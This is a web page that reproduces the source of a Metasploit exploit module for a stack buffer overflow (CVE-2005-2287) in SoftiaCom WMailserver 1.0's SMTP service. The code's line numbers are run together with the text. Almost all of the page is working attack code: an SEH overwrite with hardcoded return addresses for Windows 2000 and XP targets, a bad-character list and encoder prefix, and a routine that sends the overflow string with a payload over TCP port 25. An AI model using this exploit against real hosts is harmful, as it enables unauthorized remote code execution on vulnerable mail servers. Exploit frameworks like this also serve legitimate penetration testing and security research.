Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smtp/wmailserver.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'SoftiaCom WMailserver 1.0 Buffer Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in SoftiaCom WMailserver 1.016(SMTP) via a SEH frame overwrite.17},18'Author' => [ 'MC' ],19'References' =>20[21[ 'CVE', '2005-2287' ],22[ 'OSVDB', '17883' ],23[ 'BID', '14213' ],24],25'DefaultOptions' =>26{27'EXITFUNC' => 'thread',28},29'Platform' => 'win',30'Privileged' => true,31'Payload' =>32{33'Space' => 600,34'BadChars' => "\x00\x0a\x0d\x20",35'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",36},37'Targets' =>38[39[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],40[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],41],42'DefaultTarget' => 0,43'DisclosureDate' => '2005-07-11'))4445register_options([ Opt::RPORT(25) ])46end4748def exploit49connect5051filler = " " + rand_text_alpha_upper(5115)52seh = generate_seh_payload(target.ret)53sploit = filler + seh + rand_text_alpha_upper(200)5455print_status("Trying target #{target.name}...")56sock.put(sploit + "\r\n\r\n")5758handler59disconnect60end61end626364